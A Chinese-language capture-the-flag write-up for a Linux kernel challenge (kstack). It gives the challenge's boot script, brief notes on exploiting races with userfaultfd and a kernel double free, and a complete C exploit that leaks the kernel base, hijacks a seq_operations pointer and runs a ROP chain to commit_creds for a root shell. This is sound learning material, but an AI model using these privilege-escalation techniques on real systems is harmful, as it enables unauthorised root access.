Processor vulnerable
Mitigation: PTE Inversion
Vulnerable: Clear CPU buffers attempted, no microcode; SMT Host state unknown
Mitigation: PTI
Vulnerable
Mitigation: usercopy/swapgs barriers and __user pointer sanitization
Mitigation: Full generic retpoline, STIBP: disabled, RSB filling
Not affected

文件系统启动脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#!/bin/sh
mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs devtmpfs /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console

ifup eth0 >/dev/null 2>/dev/null

echo 2 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict

chown root:root flag
chmod 400 flag
insmod /root/kstack.ko
chmod 777 /proc/stack

echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
cat /root/banner
setsid cttyhack setuidgid 1000 sh

umount /proc
umount /sys
poweroff -d 0 -f

还是不太能找到条件竞争的洞,就比如这道题,感觉这种条件竞争分析的时候就得在可以阻塞的位置停下来,思考如果这时候阻塞,其他线程进来会发生什么事情,然后还有思考阻塞前程序做了什么,阻塞后程序做了什么,这么会比较好分析出条件竞争如何利用,通过这道题还学到了两手,一手是在阻塞的空窗期我们想要执行某些任务,可以直接放在userfaultfd的处理函数中,这样可以完美利用空窗期,如果需要并发的话,完全可以在处理函数中创建线程然后使用wait函数等待所有线程全部结束运行然后再去处理缺页,二手是原来内核也可以doublefree,这道题的利用就是先doublefree一个0x20的堆,然后打开一个stat申请一个0x20的seq_operation,此时下次申请一个0x20的堆还是会申请到seq_opsration,也就能改seq_operation的start指针了,最后使用一个add rsp,xxx的gadget迁移到pt_regs上进行rop.

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
#include <sys/types.h>
#include <stdio.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <poll.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <linux/tty.h>

#define add_rsp_0x10_ret 0xffffffff815afc83
#define add_rsp_0x38_ret 0xffffffff815b29f1
#define add_rsp_pop_rbx_r12_r13_rbp_ret 0xffffffff8145523f
#define add_rsp_0x1c8_pop_6_ret 0xffffffff814d51c0
#define init_cred 0xffffffff815573b0
#define commit_creds 0xffffffff81069c10
#define prepare_kernel_cred 0xffffffff81069e00
#define pop_rdi_ret 0xffffffff81034505
#define ret 0xffffffff810001cc
#define swapgs_restore_regs_and_return_to_usermode 0xffffffff81600a34+0x10
#define mov_rdi_rax_pop_rbp_ret 0xffffffff8121f89a


size_t mov_rdi_rax_pop_rbp_ret_addr=0;
size_t swapgs_restore_regs_and_return_to_usermode_addr=0;
size_t init_cred_addr=0;
size_t commit_creds_addr=0;
size_t prepare_kernel_cred_addr=0;
size_t pop_rdi_ret_addr=0;
size_t ret_addr=0;
size_t vmlinux_nokaslr_addr=0xffffffff81000000;
size_t kernel_base=0;
size_t user_cs,user_ss,user_rflags,user_sp;
int stack_fd=0;
int seq_fd[0x200];
size_t kernel_msg;
size_t value;
void saveStatus(void)
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n");
}
void usr_shell(){
puts("getshelling");
if(getuid()==0){
puts("[*]----getshell ok");
system("/bin/sh");
}else{
puts("[*] getshell fail");
}
}
char *page;
size_t page_size;
static pthread_t monitor_thread;
void errExit(char * msg)
{
printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
exit(0);
}
void registerUserFaultFd(void * addr, unsigned long len, void (*handler)(void*))
{
long uffd;
struct uffdio_api uffdio_api;
struct uffdio_register uffdio_register;
int s;

/* Create and enable userfaultfd object */
uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
if (uffd == -1)
errExit("userfaultfd");

uffdio_api.api = UFFD_API;
uffdio_api.features = 0;
if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1)
errExit("ioctl-UFFDIO_API");

uffdio_register.range.start = (unsigned long) addr;
uffdio_register.range.len = len;
uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)
errExit("ioctl-UFFDIO_REGISTER");

s = pthread_create(&monitor_thread, NULL, handler, (void *) uffd);
if (s != 0)
errExit("pthread_create");
}

void add(char *buf){
ioctl(stack_fd,0x57AC0001,buf);
}
void del(char *buf){
ioctl(stack_fd,0x57AC0002,buf);
}


static void *
leak_handler_thread(void *arg)
{
struct uffd_msg msg;
int fault_cnt = 0;
long uffd;

struct uffdio_copy uffdio_copy;
ssize_t nread;

uffd = (long) arg;

for (;;)
{
struct pollfd pollfd;
int nready;
pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1);

if (nready == -1)
errExit("poll");

nread = read(uffd, &msg, sizeof(msg));

del(&kernel_msg);
kernel_base=kernel_msg-0x13be80;
printf("\033[34m\033[1m[*]kernel_base:%p\033[0m\n",kernel_base);
if (nread == 0)
errExit("EOF on userfaultfd!\n");

if (nread == -1)
errExit("read");

if (msg.event != UFFD_EVENT_PAGEFAULT)
errExit("Unexpected event on userfaultfd\n");

uffdio_copy.src = (unsigned long) page;
uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address &
~(page_size - 1);
uffdio_copy.len = page_size;
uffdio_copy.mode = 0;
uffdio_copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1)
errExit("ioctl-UFFDIO_COPY");

return NULL;
}
}
static void *
doublefree_handler_thread(void *arg)
{
struct uffd_msg msg;
int fault_cnt = 0;
long uffd;

struct uffdio_copy uffdio_copy;
ssize_t nread;

uffd = (long) arg;

for (;;)
{
struct pollfd pollfd;
int nready;
pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1);

if (nready == -1)
errExit("poll");

nread = read(uffd, &msg, sizeof(msg));

del(&value);


if (nread == 0)
errExit("EOF on userfaultfd!\n");

if (nread == -1)
errExit("read");

if (msg.event != UFFD_EVENT_PAGEFAULT)
errExit("Unexpected event on userfaultfd\n");

uffdio_copy.src = (unsigned long) page;
uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address &
~(page_size - 1);
uffdio_copy.len = page_size;
uffdio_copy.mode = 0;
uffdio_copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1)
errExit("ioctl-UFFDIO_COPY");

return NULL;
}
}
int stat_rop_fd=0;
static void *
stat_rop_handler_thread(void *arg)
{
struct uffd_msg msg;
int fault_cnt = 0;
long uffd;

struct uffdio_copy uffdio_copy;
ssize_t nread;

uffd = (long) arg;

for (;;)
{
struct pollfd pollfd;
int nready;
pollfd.fd = uffd;
pollfd.events = POLLIN;
nready = poll(&pollfd, 1, -1);

if (nready == -1)
errExit("poll");

nread = read(uffd, &msg, sizeof(msg));

for(int i=0;i<0x200;i++){
close(seq_fd[i]);
}
mov_rdi_rax_pop_rbp_ret_addr=mov_rdi_rax_pop_rbp_ret-vmlinux_nokaslr_addr+kernel_base;
prepare_kernel_cred_addr=prepare_kernel_cred-vmlinux_nokaslr_addr+kernel_base;
commit_creds_addr=commit_creds-vmlinux_nokaslr_addr+kernel_base;
init_cred_addr=init_cred-vmlinux_nokaslr_addr+kernel_base;
pop_rdi_ret_addr=pop_rdi_ret-vmlinux_nokaslr_addr+kernel_base;
ret_addr=ret-vmlinux_nokaslr_addr+kernel_base;
swapgs_restore_regs_and_return_to_usermode_addr=swapgs_restore_regs_and_return_to_usermode-vmlinux_nokaslr_addr+kernel_base;
__asm__(
"mov r15, 0xbeefdead;"
"mov r14, 0;"
"mov r13, pop_rdi_ret_addr;"
"mov r12, 0;"
"mov rbp, prepare_kernel_cred_addr;"
"mov rbx, mov_rdi_rax_pop_rbp_ret_addr;"
"mov r11, 0;"
"mov r10, commit_creds_addr;"
"mov r9, swapgs_restore_regs_and_return_to_usermode_addr;"
"mov r8, 0x66666666;"
"mov rax, 0;"
"mov rdi, stat_rop_fd;"
"mov rsi, rsp;"
"mov rdx, 0x200;"
"syscall;"
);
usr_shell();

if (nread == 0)
errExit("EOF on userfaultfd!\n");

if (nread == -1)
errExit("read");

if (msg.event != UFFD_EVENT_PAGEFAULT)
errExit("Unexpected event on userfaultfd\n");

uffdio_copy.src = (unsigned long) page;
uffdio_copy.dst = (unsigned long) msg.arg.pagefault.address &
~(page_size - 1);
uffdio_copy.len = page_size;
uffdio_copy.mode = 0;
uffdio_copy.copy = 0;
if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1)
errExit("ioctl-UFFDIO_COPY");

return NULL;
}
}
int main(){
saveStatus();
stack_fd=open("/proc/stack",O_RDONLY);
if(!stack_fd){
errExit("/proc/stack open fail");
}
for(int i=0;i<0x200;i++){
seq_fd[i]=open("/proc/self/stat",O_RDONLY);
if(!seq_fd[i]){
errExit("stat open fail");
}
}
page_size=sysconf(_SC_PAGE_SIZE);
page=malloc(page_size);
char *leak_buf=mmap(NULL,page_size,PROT_READ|PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
registerUserFaultFd(leak_buf,page_size,leak_handler_thread);
int seq_leak_fd=open("/proc/self/stat",O_RDONLY);
if(!seq_leak_fd){
errExit("leak_stat open fail");
}
close(seq_leak_fd);
add(leak_buf);

add("rootroot");
char *doublefree_buf=mmap(NULL,page_size,PROT_READ|PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
registerUserFaultFd(doublefree_buf,page_size,doublefree_handler_thread);
del(doublefree_buf);

char *stat_rop_buf=mmap(NULL,page_size*2,PROT_READ|PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
registerUserFaultFd(stat_rop_buf+page_size,page_size,stat_rop_handler_thread);
*(size_t *)(stat_rop_buf+page_size-8)=add_rsp_0x1c8_pop_6_ret-vmlinux_nokaslr_addr+kernel_base;
stat_rop_fd=open("/proc/self/stat",O_RDONLY);
if(!stat_rop_fd){
errExit("stat_rop_fd open fail");
}
setxattr("/exp", "jingyinghua", stat_rop_buf + page_size - 8, 32, 0);

}